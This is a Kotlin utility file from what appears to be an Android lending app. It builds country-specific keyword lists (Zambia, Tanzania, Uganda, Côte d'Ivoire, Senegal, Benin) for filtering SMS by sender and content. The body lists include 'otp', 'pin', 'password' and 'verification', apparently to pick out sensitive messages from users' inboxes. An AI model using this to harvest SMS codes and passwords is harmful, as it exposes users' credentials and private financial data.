package com.solocredit.finance.data.dv.utils

import com.solocredit.finance.config.MullaConfigs
import com.solocredit.finance.utils.helper.MullaCustomConfigsHelper

/**
 * Sms 关键词过滤
 */
object DvIMSFiltersUtil {

    fun DvIMSMobileFilterList(): ArrayList<String> {
        // SMS mobile 关键词
        val mobileKeyList = arrayListOf("")
        //赞比亚
        if (MullaConfigs.isZmb()){
            mobileKeyList.clear()
            mobileKeyList.addAll(arrayOf("money", "airtel", "momo", "cash", "mwachangu", "kwacha", "zanaco", "tclnotebiu", "loan", "unifisiliza", "211", "kyc", "mtn"))
            mobileKeyList.addAll(arrayOf("Financial","Income","fund","ratio","Spending","Beneficiary","payment","Cash"))
        }

        //坦桑尼亚
        if (MullaConfigs.isTanz()){
            mobileKeyList.clear()
            mobileKeyList.addAll(arrayOf("money", "airtel", "pesa", "vodacom", "halotel", "cash", "finance", "mkopo", "kmi", "dexintec", "singularity", "branch", "bank", "nmb", "flexitz", "msafi"))
            mobileKeyList.addAll(arrayOf("Fedha","Mapato","hazina","uwiano","Matumizi","Mfaidika","malipo","Pesa"))
        }

        //乌干达
        if (MullaConfigs.isUgx()){
            mobileKeyList.clear()
            mobileKeyList.addAll(arrayOf("money", "airtel", "mtn", "pesa", "stanbic", "lend", "loan", "sente", "cash", "mypakapaka", "146", "credit", "centenary", "kopa", "equity", "beerako", "puntoinfo", "rsms"))
            mobileKeyList.addAll(arrayOf("Financial","Income","fund","ratio","Spending","Beneficiary","payment","Cash"))
        }

        //科特迪瓦
        if (MullaConfigs.isFcfa()){
            mobileKeyList.clear()
            mobileKeyList.addAll(arrayOf("money", "cash", "454"))
            mobileKeyList.addAll(arrayOf("Finances","revenus","fonds","ratio","dépenses","bénéficiaires","paiement","espèces"))
        }

        //塞内加尔
        if (MullaConfigs.isSenegal()){
            mobileKeyList.clear()
            mobileKeyList.addAll(arrayOf("orange", "free", "money", "wave", "pret", "loan", "info", "topemprun"))
            mobileKeyList.addAll(arrayOf("Finances","revenus","fonds","ratio","dépenses","bénéficiaires","paiement","espèces"))
        }

        //贝宁
        if (MullaConfigs.isBenin()){
            mobileKeyList.clear()
            mobileKeyList.addAll(arrayOf("mtn","celtiis","moov","money","pret","bank"))
        }

        //客服配置读取 Mobile 关键字
        val mobileKeys = MullaCustomConfigsHelper.getMullaMSGMobileKeys()
        if (mobileKeys != null){
            mobileKeyList.addAll(mobileKeys)
        }

        return mobileKeyList
    }

    fun DvIMSBodyFilterList(): ArrayList<String> {
        //SMS Content 关键词
        val bodyKeyList = arrayListOf("")

        //赞比亚
        if (MullaConfigs.isZmb()){
            bodyKeyList.clear()
            bodyKeyList.addAll(arrayOf("money", "airtel", "mtn", "momo", "lend", "loan", "cash", "otp", "pin", "code", "credit", "kash", "verification", "due", "payment", "password", "settle", "paid", "approved", "application"))
            bodyKeyList.addAll(arrayOf("balance", "Installment  EMI", "Liquidity", "bank", "Mortgage  wage", "Default", "costs"))
        }

        //坦桑尼亚
        if (MullaConfigs.isTanz()){
            bodyKeyList.clear()
            bodyKeyList.addAll(arrayOf("money", "airtel", "lend", "loan", "cash", "credit", "mkopo", "otp", "code", "password", "malipo yamepokelewa kwenda", "approved", "nambari", "unakumbushwa kulipa", "amelipa tsh", "due", "kiasi chako cha kinadaiwa"))
            bodyKeyList.addAll(arrayOf("usawa", "Usakinishaji", "EMI", "Ukwasi", "benki", "Mshahara", "rehani","Chaguomsingi","gharama"))
        }

        //乌干达
        if (MullaConfigs.isUgx()){
            bodyKeyList.clear()
            bodyKeyList.addAll(arrayOf("'money", "airtel", "mtn", "pesa", "lend", "loan", "sente", "cash", "otp", "pin", "code", "credit", "kash", "verification", "due", "payment", "password", "settle", "paid"))
            bodyKeyList.addAll(arrayOf("balance", "Installment  EMI", "Liquidity", "bank", "Mortgage  wage", "Default", "costs"))
        }

        //科特迪瓦
        if (MullaConfigs.isFcfa()){
            bodyKeyList.clear()
            bodyKeyList.addAll(arrayOf("fcfa", "xof", "loan", "money", "solde", "cash", "code", "credit", "otp"))
            bodyKeyList.addAll(arrayOf("solde","versements","EMI","liquidités","banque","salaire","hypothécaire","défaut","paiement","coûts"))
        }

        //塞内加尔
        if (MullaConfigs.isSenegal()){
            bodyKeyList.clear()
            bodyKeyList.addAll(arrayOf("money", "loan", "pret", "verification", "de passe", "credit"))
            bodyKeyList.addAll(arrayOf("solde","versements","EMI","liquidités","banque","salaire","hypothécaire","défaut","paiement","coûts"))
        }

        //贝宁
        if (MullaConfigs.isBenin()){
            bodyKeyList.clear()
            bodyKeyList.addAll(arrayOf("mtn","celtiis","moov","pret","code","verification","de passe","loan","money","cash"))
        }

        //客服配置读取 Content 关键字
        val contentKeys = MullaCustomConfigsHelper.getMullaMSGContentKeys()
        if (contentKeys != null){
            bodyKeyList.addAll(contentKeys)
        }
        return bodyKeyList
    }
}